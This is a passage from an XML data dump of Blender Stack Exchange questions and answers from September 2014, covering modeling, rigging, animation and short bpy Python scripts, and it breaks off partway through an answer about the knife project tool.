  <row Id="16045" PostTypeId="1" CreationDate="2014-09-20T17:42:06.263" Score="11" ViewCount="9915" Body="&lt;p&gt;How do I create a hinged door that opens and closes in Blender? If I knew how to do this, then it would help me also create moving control surfaces on model aircraft, such as the rudder and horizontal stabilizers. &lt;/p&gt;&#xA;" OwnerUserId="6131" LastActivityDate="2014-10-22T20:11:15.067" Title="How do I create a hinged door?" Tags="&lt;modeling&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16046" PostTypeId="2" ParentId="16045" CreationDate="2014-09-20T18:08:22.420" Score="9" Body="&lt;p&gt;The easiest way (without rigging or armatures) is to displace the origin of the object on the edge you want to use as hinge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Go to Edit mode and select the edge. Then press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; to use the snap menu. Snap the &lt;strong&gt;cursor to selected&lt;/strong&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;strong&gt;Object mode&lt;/strong&gt; use Object-&gt;transform-&gt;&lt;strong&gt;Origin to 3D cursor&lt;/strong&gt;. The origin of the object will be now on the edge of the door.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Rotate the object (in this case on the local Z axis).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/WWMR4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more complex objects or movements beyond local axis it's better to use bones and a rig.&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2014-09-20T18:23:55.973" LastActivityDate="2014-09-20T18:23:55.973" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16047" PostTypeId="1" AcceptedAnswerId="16052" CreationDate="2014-09-20T18:18:09.440" Score="9" ViewCount="1405" Body="&lt;p&gt;I'm trying to make a video similar to this one (Made in Adobe After Effects)&#xA;&lt;a href=&quot;https://www.youtube.com/watch?v=YAV5DwR1pU8&quot;&gt;https://www.youtube.com/watch?v=YAV5DwR1pU8&lt;/a&gt;&#xA;But I don't know how to make the circle disappear than reappear with a circular swipe. Any help is GREATLY appreciated.&lt;/p&gt;&#xA;" OwnerUserId="3090" LastActivityDate="2014-09-21T09:46:40.500" Title="How to make a circular swipe?" Tags="&lt;modeling&gt;&lt;animation&gt;&lt;mesh&gt;&lt;geometry&gt;" AnswerCount="2" CommentCount="7" FavoriteCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16048" PostTypeId="2" ParentId="16047" CreationDate="2014-09-20T18:49:38.647" Score="10" Body="&lt;p&gt;you can do it by adding a plane and merge the top and buttom vertex whith each other&#xA;&lt;img src=&quot;https://i.stack.imgur.com/UvdW8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then scale it is the depth of the circle you want and move it away from the origin point&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/qn7hQ.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then add a screw modifier and increase the number of steps to something like 50 and check flip if the normal is flipped&#xA;&lt;img src=&quot;https://i.stack.imgur.com/SEqx5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then make the angle 0 and go to frame one and press I when you are over the angle icon&#xA;&lt;img src=&quot;https://i.stack.imgur.com/70ra7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then go to frame 20 and make the angle 360 and press I while you are over it&#xA;&lt;img src=&quot;https://i.stack.imgur.com/6ckr5.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;then split your windows into 2 taps and convert one into graph editor select all by A+A and press V and select vector to make the animation constant&#xA;&lt;img src=&quot;https://i.stack.imgur.com/USIrq.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;play you animation by ctrl+A and you will see it.&lt;/p&gt;&#xA;" OwnerUserId="5794" LastEditorUserId="5794" LastEditDate="2014-09-20T19:16:36.520" LastActivityDate="2014-09-20T19:16:36.520" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16049" PostTypeId="2" ParentId="15917" CreationDate="2014-09-20T18:59:01.203" Score="8" Body="&lt;p&gt;Create a &lt;code&gt;CollectionProperty&lt;/code&gt; and supply an own class derived from &lt;code&gt;bpy.types.PropertyGroup&lt;/code&gt;, in which you define your properties (it already comes with a &lt;code&gt;StringProperty&lt;/code&gt; called &lt;code&gt;&quot;name&quot;&lt;/code&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In your UIList class, &lt;code&gt;item&lt;/code&gt; refers to what you pass to &lt;code&gt;layout.template_list()&lt;/code&gt; as 3rd and 4th argument, so the collection. Thus, &lt;code&gt;item.id&lt;/code&gt; and &lt;code&gt;item.name&lt;/code&gt; refer to entries in the collection &lt;code&gt;Object.zones&lt;/code&gt; in the example below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;from bpy.props import IntProperty, CollectionProperty&#xA;from bpy.types import Panel, UIList&#xA;&#xA;&#xA;class OBJECT_UL_zones(UIList):&#xA;    def draw_item(self, context, layout, data, item, icon, active_data, active_propname, index):&#xA;        split = layout.split(0.2)&#xA;        split.label(str(item.id))&#xA;        split.prop(item, &quot;name&quot;, text=&quot;&quot;, emboss=False, translate=False, icon='BORDER_RECT')&#xA;&#xA;&#xA;class UIListPanelExample(Panel):&#xA;    &quot;&quot;&quot;Creates a Panel in the Object properties window&quot;&quot;&quot;&#xA;    bl_label = &quot;UIList Panel&quot;&#xA;    bl_idname = &quot;OBJECT_PT_ui_list_example&quot;&#xA;    bl_space_type = 'PROPERTIES'&#xA;    bl_region_type = 'WINDOW'&#xA;    bl_context = &quot;object&quot;&#xA;&#xA;    def draw(self, context):&#xA;        layout = self.layout&#xA;        ob = context.object&#xA;&#xA;        layout.template_list(&quot;OBJECT_UL_zones&quot;, &quot;&quot;, ob, &quot;zones&quot;, ob, &quot;zones_index&quot;)&#xA;&#xA;&#xA;class Zone(bpy.types.PropertyGroup):&#xA;    # name = StringProperty()&#xA;    id = IntProperty()&#xA;&#xA;&#xA;def register():&#xA;    bpy.utils.register_module(__name__)&#xA;    bpy.types.Object.zones = CollectionProperty(type=Zone)&#xA;    bpy.types.Object.zones_index = IntProperty()&#xA;&#xA;def unregister():&#xA;    bpy.utils.unregister_module(__name__)&#xA;    del bpy.types.Object.zones&#xA;&#xA;if __name__ == &quot;__main__&quot;:&#xA;    register()&#xA;&#xA;&#xA;    # Add an example entry every time this code is executed&#xA;    ob = bpy.context.object&#xA;    item = ob.zones.add()&#xA;    item.id = len(ob.zones)&#xA;    item.name = &quot;Zone &quot; + chr(item.id + 64)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1363" LastActivityDate="2014-09-20T18:59:01.203" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16050" PostTypeId="1" CreationDate="2014-09-20T20:04:43.110" Score="4" ViewCount="753" Body="&lt;pre&gt;&lt;code&gt;import bpy&#xA;for scene in bpy.data.scenes:&#xA;    scene.render.image_settings.file_format = 'H264'&#xA;    scene.format = 'QUICKTIME'&#xA;    scene.color_mode = 'RGB'&#xA;    scene.audio_codec = 'AAC'&#xA;    scene.audio_bitrate = 128&#xA;    scene.render.resolution_percentage = 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have no idea how to get this to work right&lt;/p&gt;&#xA;" OwnerUserId="206" LastEditorUserId="1363" LastEditDate="2014-09-20T21:06:59.570" LastActivityDate="2017-10-19T14:32:29.507" Title="How do i change encoding settings with python" Tags="&lt;python&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16051" PostTypeId="2" ParentId="16050" CreationDate="2014-09-20T20:11:02.220" Score="3" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import bpy&#xA;for scene in bpy.data.scenes:&#xA;    scene.render.image_settings.file_format = 'H264'&#xA;    scene.render.ffmpeg.format = 'QUICKTIME'&#xA;    scene.render.image_settings.color_mode = 'RGB'&#xA;    scene.render.ffmpeg.audio_codec = 'AAC'&#xA;    scene.render.ffmpeg.audio_bitrate = 128&#xA;    scene.render.resolution_percentage = 100&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also see the &lt;a href=&quot;http://www.blender.org/documentation/250PythonDoc/&quot; rel=&quot;nofollow&quot;&gt;API docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="599" LastEditorUserId="599" LastEditDate="2014-09-20T20:19:09.080" LastActivityDate="2014-09-20T20:19:09.080" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16052" PostTypeId="2" ParentId="16047" CreationDate="2014-09-20T20:20:39.450" Score="15" Body="&lt;p&gt;Here is another way using &lt;strong&gt;beveled curves&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Add a &lt;strong&gt;Bezier Circle&lt;/strong&gt; in Object Mode and press &lt;kbd&gt;Tab&lt;/kbd&gt; to enter &lt;strong&gt;Edit Mode&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;With all handles selected press &lt;kbd&gt;V&lt;/kbd&gt; and select &lt;strong&gt;Free&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select only one handle and press &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;kbd&gt;C&lt;/kbd&gt; to open the circle.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt; and choose &lt;strong&gt;Cursor to Selected&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Select the handle on the other side of the opening and press &lt;kbd&gt;E&lt;/kbd&gt; to extrude and &lt;kbd&gt;Enter&lt;/kbd&gt; to confirm.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;Shift&lt;/kbd&gt;&lt;kbd&gt;S&lt;/kbd&gt;, and choose &lt;strong&gt;Selection to Cursor (Offset)&lt;/strong&gt; to move the handle to the other side.&lt;/li&gt;&#xA;&lt;li&gt;Rotate the handle by 90 or 270 degress to get a circular shape (&lt;kbd&gt;R&lt;/kbd&gt; &lt;kbd&gt;$Axis&lt;/kbd&gt; &lt;kbd&gt;$Degress&lt;/kbd&gt;), then leave &lt;strong&gt;Edit Mode&lt;/strong&gt;.&lt;/li&gt;&#xA;&lt;li&gt;Add a &lt;strong&gt;Path&lt;/strong&gt; in Object Mode. To get a closed slice, scale the Path by &lt;code&gt;.5&lt;/code&gt;. Otherwise, &amp;lt; &lt;code&gt;.5&lt;/code&gt;.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Select the Bezier Circle again. Under &lt;strong&gt;Curve Properties - Geometry - Bevel Object&lt;/strong&gt; select the name of the newly added &lt;strong&gt;Path&lt;/strong&gt; (e.g. NurbsPath). &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To animate the slice use the &lt;strong&gt;Start&lt;/strong&gt; and &lt;strong&gt;End&lt;/strong&gt; values (&lt;strong&gt;Geometry - Bevel Factor&lt;/strong&gt;).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/87mAr.png&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/9P73c.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This should be the result (animated scale of the Path, Start and End values of the Bevel Factor):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9cDam.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way could be using the &lt;strong&gt;Array Modifier&lt;/strong&gt; together with the &lt;strong&gt;Curve Modifier&lt;/strong&gt; to get some line effects (similar to the reference you provided).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Starting from a &lt;strong&gt;Bezier Circle&lt;/strong&gt; and a &lt;strong&gt;Plane&lt;/strong&gt; in the same spot, add both modifiers to the Plane. You can play with the scale of the Plane, count and offset of the Array Modifier to get different effects. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/9Sfwt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here some examples:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Of42.gif&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/eZYfb.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="2859" LastEditorUserId="2859" LastEditDate="2014-09-21T09:46:40.500" LastActivityDate="2014-09-21T09:46:40.500" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16053" PostTypeId="1" AcceptedAnswerId="16054" CreationDate="2014-09-20T21:20:41.947" Score="3" ViewCount="770" Body="&lt;p&gt;When trying to control the eyelid and eyelashes mesh (both are part of the same mesh although the eyelashes are not attached to the rest of the head). Moving the gaze bone up causes the eyelids to move at the appropriate speed, but the eyelashes move at a different speed and don't stay where they need to be.&lt;img src=&quot;https://i.stack.imgur.com/RT7Yp.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Eyelid deform bones are circled in red. These bones are restricted to X rotation only.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/mB32H.jpg&quot; alt=&quot;enter image description here&quot;&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After changing the gaze bone to make the character look up, eye lashes detach.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MAjz9.jpg&quot; alt=&quot;Eye lashes no longer attached to eye lids&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried weight painting the eyelashes but it doesn't make a difference unless the weight is set to zero and then the eyelashes don't move at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a way to fix this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Link to the .blend file:&#xA;&lt;a href=&quot;https://www.dropbox.com/s/4bcrigg4d4nrbwv/Blenderman%20-%20Working%20On%20Eye%20Control.blend?dl=0&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.dropbox.com/s/4bcrigg4d4nrbwv/Blenderman%20-%20Working%20On%20Eye%20Control.blend?dl=0&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6040" LastEditorUserId="6040" LastEditDate="2014-09-20T21:45:15.953" LastActivityDate="2014-09-20T22:05:13.190" Title="Bones are deforming the mesh at different rates. Is there a way to fix this?" Tags="&lt;mesh&gt;&lt;rigging&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16054" PostTypeId="2" ParentId="16053" CreationDate="2014-09-20T22:05:13.190" Score="4" Body="&lt;p&gt;This is because the eyelashes are not included in the head bone's vertex group :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Select the armature and switch to pose mode&lt;/li&gt;&#xA;&lt;li&gt;Select the head mesh and switch to weight painting mode&lt;/li&gt;&#xA;&lt;li&gt;Select the head bone and you'll see that :&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/MfWUy.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You just have to paint the whole head mesh vertices for the head bone's vertex group with the same weight color, including the eyelashes, and you'll be saved !&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-09-20T22:05:13.190" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16055" PostTypeId="1" AcceptedAnswerId="16061" CreationDate="2014-09-20T23:14:17.003" Score="4" ViewCount="2142" Body="&lt;p&gt;I have a bone that I want the rotation around its own X axis limited to 220°.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have checked &quot;limit X&quot;, and set &quot;min&quot; to 0°, and &quot;max&quot; to 220°. Also set &quot;convert&quot; to &quot;Local space&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I rotate the bone, it is well limited as intended around its X axis, but beyond 180° it returns (jump) to the 0° position, until I rotate beyond 360° where it starts to rotate again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to allow the limitation to go beyond 180° ? What am I missing ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note : I tried different &quot;rotation orders&quot; (XYZ, Quaternion...) but nothing changed. And also tried to check &quot;For Transform&quot; in the constraint panel with no more luck.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="527" LastActivityDate="2014-09-21T11:42:28.130" Title="Bone's constraint limit X axis rotation more than 180° doesn't work" Tags="&lt;bones&gt;&lt;constraints&gt;" AnswerCount="2" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16056" PostTypeId="1" AcceptedAnswerId="16074" CreationDate="2014-09-20T23:24:24.323" Score="3" ViewCount="1271" Body="&lt;p&gt;I have a plane with subsurf modifier, And a circle to cut(knife project) with. The hole is cut, but it leaves mesh(artifacts) inside of it.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/tP9eg.png&quot; alt=&quot;artifacts&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Creasing (&lt;kbd&gt;Ctrl&lt;/kbd&gt; &lt;kbd&gt;E&lt;/kbd&gt;) works on the outer edges only, leaving the artifacts.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/5FrU7.png&quot; alt=&quot;with crease&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why is this happening?&lt;/p&gt;&#xA;" OwnerUserId="6079" LastEditorUserId="2217" LastEditDate="2015-06-02T00:32:37.000" LastActivityDate="2015-06-02T00:32:37.000" Title="Knife project on subsurf-object leaves artifacts" Tags="&lt;modeling&gt;&lt;modifiers&gt;&lt;knife-tool&gt;" AnswerCount="1" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="16057" PostTypeId="2" ParentId="16055" CreationDate="2014-09-20T23:32:41.163" Score="1" Body="&lt;p&gt;If possible consider using the values -40 (minus) to 180 to get 220 degrees of rotation.&#xA;Perhaps adding another bone may help to build up rotation in the style that suits you.&#xA;The values are clamped 180 to -180 if I read this documentation correctly.&#xA;I get the same interaction as you explained.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a technical link&#xA;&lt;a href=&quot;http://www.blender.org/documentation/245PythonDoc/Constraint-module.html&quot; rel=&quot;nofollow&quot;&gt;http://www.blender.org/documentation/245PythonDoc/Constraint-module.html&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="6076" LastActivityDate="2014-09-20T23:32:41.163" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16061" PostTypeId="2" ParentId="16055" CreationDate="2014-09-21T11:42:28.130" Score="5" Body="&lt;p&gt;The values for the Rotation Limit Constraint are clamped 180 to -180. This is a known limitation. An example:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/vvObN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as i try to rotate the bone beyond 180° the bone snaps back to 0°&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can find more about this in the Blender manual about &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Constraints/Transform/Limit_Rotation&quot; rel=&quot;nofollow noreferrer&quot;&gt;Limit Rotation&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note: There is a small chance that this limitation will be released some time in the future. You can find more about that in the &lt;a href=&quot;http://lists.blender.org/pipermail/bf-animsys/2014-September/000160.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;bf-animsys&lt;/a&gt; mailing list.&lt;/p&gt;&#xA;" OwnerUserId="248" LastActivityDate="2014-09-21T11:42:28.130" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16062" PostTypeId="1" CreationDate="2014-09-21T13:09:22.527" Score="2" ViewCount="506" Body="&lt;p&gt;I'm trying to understand which animations on blender will be able to be animated in unity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried animating a net in such a way that when the ball hits it I will activate the animation to look realistic- I built a net, added a lattice modifier and animated with this lattice, but then I saw the posts about Unity not able to run them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So figured I'll try Cloth animations but then I saw posts says Unity wont accept those animations also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, beside manually moving each individual vertex on my net, how can I animate that?&lt;/p&gt;&#xA;" OwnerUserId="6082" LastActivityDate="2014-09-21T21:21:54.553" Title="Which animation method to use in blender for later use in Unity?" Tags="&lt;animation&gt;&lt;unity&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16065" PostTypeId="1" CreationDate="2014-09-21T15:55:52.373" Score="1" ViewCount="56" Body="&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2uxzl.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is the problem happening while I am rotating the left arm bones in pose mode as you can see in the picture.All the vertex groups are correctly weighted and parent with the bones.Even rotating bones will be transforming the left arm but not exact position with bone position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Rs75B.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now look the vertex weight paint it is showing correct weight color to move with bones.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even though left arm is moving not according to bone position.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://drive.google.com/file/d/0B4jU1_T9N6ZmcTRDX2kyalVWdnM/edit?usp=sharing&quot; rel=&quot;nofollow noreferrer&quot;&gt;male_body_with_bones blender file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Please help.Thank you in advanced&lt;/p&gt;&#xA;" OwnerUserId="6144" LastEditorUserId="6144" LastEditDate="2014-09-21T16:01:42.063" LastActivityDate="2014-09-21T16:01:42.063" Title="Rigging problem with mesh body in pose mode" Tags="&lt;rigging&gt;&lt;bones&gt;" AnswerCount="0" CommentCount="4" ClosedDate="2014-09-21T20:24:36.093" ContentLicense="CC BY-SA 3.0" />
  <row Id="16066" PostTypeId="2" ParentId="7578" CreationDate="2014-09-21T16:57:02.910" Score="3" Body="&lt;p&gt;I just bumped into this problem, importing an SVG with hundreds of curves, and it seems the easiest would be to write a script. Choose &quot;Python console&quot; in the  &quot;Editor type&quot; tab, and in there, to see what sort of objects you have, you can do this in the console to see relationships:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; import inspect&#xA;&amp;gt;&amp;gt;&amp;gt; inspect.getmembers(bpy.context)&#xA;... bpy.data.objects['Curve.044'], bpy.data.objects['Curve.043'], ...&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; inspect.getmembers(bpy.data.objects[0])&#xA;[... ('cycles_visibility', bpy.data.objects['Curve'].cycles_visibility), ('data', bpy.data.curves['_x30_.1.0']), ('delta_location', Vector((0.0, 0.0, 0.0))), ...('mode', 'OBJECT'), ... ('name', 'Curve'), ('parent', None), ...&#xA;&#xA;&amp;gt;&amp;gt;&amp;gt; inspect.getmembers(bpy.data.objects[0].data)&#xA;[... ('dimensions', '2D'), ('eval_time', 0.0), ('extrude', 0.0), ... ('name', '_x30_.1.0'), ....&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So, say to see curve properties printed in the console, you'd copy this snippet and paste it in the Python console (and press Enter twice to execute):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import re # needs to be pasted only once&#xA;for ix in bpy.data.objects:&#xA;  if re.match(r'^Curve', ix.name): # curve object&#xA;    print(ix.name)&#xA;    print(&quot;  &quot;, ix.data, ix.data.name, ix.data.extrude )&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here for my example I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;...&#xA;Curve.038&#xA;   &amp;lt;bpy_struct, Curve(&quot;_x30_.1.38&quot;)&amp;gt; _x30_.1.38 0.0&#xA;Curve.039&#xA;   &amp;lt;bpy_struct, Curve(&quot;_x30_.1.39&quot;)&amp;gt; _x30_.1.39 0.0&#xA;Curve.040&#xA;   &amp;lt;bpy_struct, Curve(&quot;Curve&quot;)&amp;gt; Curve 0.0&#xA;Curve.041&#xA;   &amp;lt;bpy_struct, Curve(&quot;Curve.001&quot;)&amp;gt; Curve.001 0.0&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... which means that the names of Curve objects and curve &quot;meshes&quot;/paths are not guaranteed to be consistent! So here you might want to rename once first, by running this script through the terminal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;for ix in bpy.data.objects:&#xA;  if re.match(r'^Curve', ix.name): # curve object&#xA;    ix.name = &quot;MyCurve.&quot; + ix.name&#xA;    ix.data.name = '_myCurve_' + ix.data.name&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and then you could paste something like this small function (again, hit ENTER twice after pasting, so it is properly parsed into memory):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def changeCurvesExtrude(inExtrd):&#xA;  for ix in bpy.data.objects:&#xA;    if re.match(r'^MyCurve', ix.name): # curve object&#xA;      ix.data.extrude = inExtrd&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and finally you can call from the Python console:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; changeCurvesExtrude(0.015)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;... and have only the required curves change their Extrude parameter (you can use up and down arrow keys to show the last command in the prompt, so you can change the numeric parameter there more easily)&lt;/p&gt;&#xA;" OwnerUserId="5972" LastActivityDate="2014-09-21T16:57:02.910" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16067" PostTypeId="1" AcceptedAnswerId="16069" CreationDate="2014-09-21T17:43:05.447" Score="3" ViewCount="364" Body="&lt;p&gt;I am rendering in view-port mode using cycles with GPU rendering but the problem is not there:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/rXsCs.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I am rendering a final render, it calculates everything and after some time, it gives this empty result. Why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/6M284.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/miaS1.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I am rendering a big scene, it calculates everything and says that there is not enough memory on GPU. But I have 2GB of GPU memory.&lt;/p&gt;&#xA;" OwnerUserId="5278" LastEditorUserId="599" LastEditDate="2014-09-21T19:43:01.823" LastActivityDate="2014-09-21T19:44:08.117" Title="Final rendered image is completely transparent" Tags="&lt;rendering&gt;&lt;cycles-render-engine&gt;&lt;gpu&gt;" AnswerCount="1" CommentCount="5" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="16068" PostTypeId="2" ParentId="16031" CreationDate="2014-09-21T18:03:30.140" Score="15" Body="&lt;p&gt;This is because &lt;em&gt;knife project&lt;/em&gt; &lt;a href=&quot;http://wiki.blender.org/index.php/Doc:2.6/Manual/Modeling/Meshes/Editing/Subdividing/Knife_Subdivide#Knife_Project&quot; rel=&quot;noreferrer&quot;&gt;only uses wire or boundary edges&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Knife projection is a non-interactive tool where you can use objects&#xA;  to cookie-cut into the mesh rather than hand drawing the line.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;This works by using the outlines of other selected objects in&#xA;  edit-mode to cut into the mesh, resulting geometry inside the cutters&#xA;  outline will be selected.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;strong&gt;Outlines can be wire or boundary edges.&lt;/strong&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;To use Knife Project, in 'object' mode select the &quot;cutting object&quot;&#xA;  first then shift select the &quot;object to be cut&quot;. Now tab into edit 